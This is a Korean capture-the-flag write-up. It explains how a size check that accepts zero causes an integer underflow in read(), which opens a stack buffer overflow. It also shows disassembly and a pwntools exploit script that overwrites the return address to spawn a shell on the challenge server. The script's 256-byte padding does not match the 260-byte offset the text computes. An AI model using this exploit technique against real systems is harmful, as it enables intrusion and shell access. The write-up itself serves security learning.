문제풀이
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void get_shell()
{
system("/bin/sh");
}
int main()
{
char buf[256];
int size;
initialize();
signal(SIGSEGV, get_shell);
printf("Size: ");
scanf("%d", &size);
if (size > 256 || size < 0)
{
printf("Buffer Overflow!\n");
exit(0);
}
printf("Data: ");
read(0, buf, size - 1);
return 0;
}
- buf[256], size 선언
- size를 입력 받고 buf 범위를 벗어나는 size인 경우에는
exit(0)
실행 - 범위를 벗어나지 않는 경우는
size-1
크기의 입력을 받고 buf에 저장
size에 대한 검증이 존재하므로 BOF가 불가능해보인다.
진짜 불가능할까?
if (size > 256 || size < 0)
{
printf("Buffer Overflow!\n");
exit(0);
}
printf("Data: ");
read(0, buf, size - 1);
if문에서 size == 0
인 경우에는 if문을 통과한다. 하지만 이후에 read()
에서 size - 1
크기를 입력을 받는데, 0 - 1 = -1
이므로 뭔가 이상해진다는 것을 알 수 있다.
-1 크기를 할당하는 것은 말이 안되기 때문이다.
그렇다면 read()
에서는 어떻게 처리할까?
○ read (int fd, void *buf, size_t nbytes)
- 헤더: unistd.h
- 형태: ssize_t read (int fd, void *buf, size_t nbytes)
- 인수:
- int fd: 파일 디스크립터
- void *buf: 파일을 읽어 들일 버퍼
- size_t nbytes: 버퍼 크기
- 반환:
- 성공: 읽어들인 바이트 수
- 실패: -1
read()의 3번째 인자 타입은 size_t
다. size_t
는 32비트
일 때 unsigned int
와 동일하며, 64비트
일 때는 unsigned long
과 같다.
즉, size_t
가 unsigned
타입과 동일하므로 음수를 가질 수 없고 -1
이 저장된다면 형 변환이 발생하여 큰 양수로 변환된다.
read(0, buf, pow(2, 32) - 1);
즉, integer overflow가 발생한다.
integer overflow가 발생한다면 pow(2, 32) - 1
가 read()의 3번째 인자로 변환되고 buf의 크기를 넘어서는 입력값을 저장할 수 있게 된다.
이전에 size = 0
을 입력하면 integer overflow
가 발생하여 BOF까지 연결되는 것을 확인했다.
get_shell()
주소로 ret overwrite하면 쉘을 획득할 수 있다.
먼저, buf - RET
의 거리와 get_shell()
주소를 구해보자.
0x080486df <+115>: add esp,0x4
0x080486e2 <+118>: mov eax,DWORD PTR [ebp-0x104]
0x080486e8 <+124>: sub eax,0x1
0x080486eb <+127>: push eax
0x080486ec <+128>: lea eax,[ebp-0x100]
0x080486f2 <+134>: push eax
0x080486f3 <+135>: push 0x0
0x080486f5 <+137>: call 0x8048450 <read@plt>
read(0, buf, size - 1)
코드다.
<main+128>
에서 ebp-0x100
의 위치가 buf임을 알 수 있다.
즉, buf ~ RET
의 거리는 0x100 + 0x4 = 0x104 = 260
이다.
pwndbg> p get_shell
$1 = {<text variable, no debug info>} 0x8048659 <get_shell>
get_shell()
주소는 0x8048659
라는 것을 알 수 있다.
payload를 작성해보자.
[dummy] * 260 + p32(0x8048659)
exploit
from pwn import *
import warnings
warnings.filterwarnings( 'ignore' )
p = remote('host3.dreamhack.games',23688)
payload = b"\x90"*256+p32(0x8048659)
p.sendlineafter("Size: ","0")
p.sendlineafter("Data: ",payload)
p.interactive()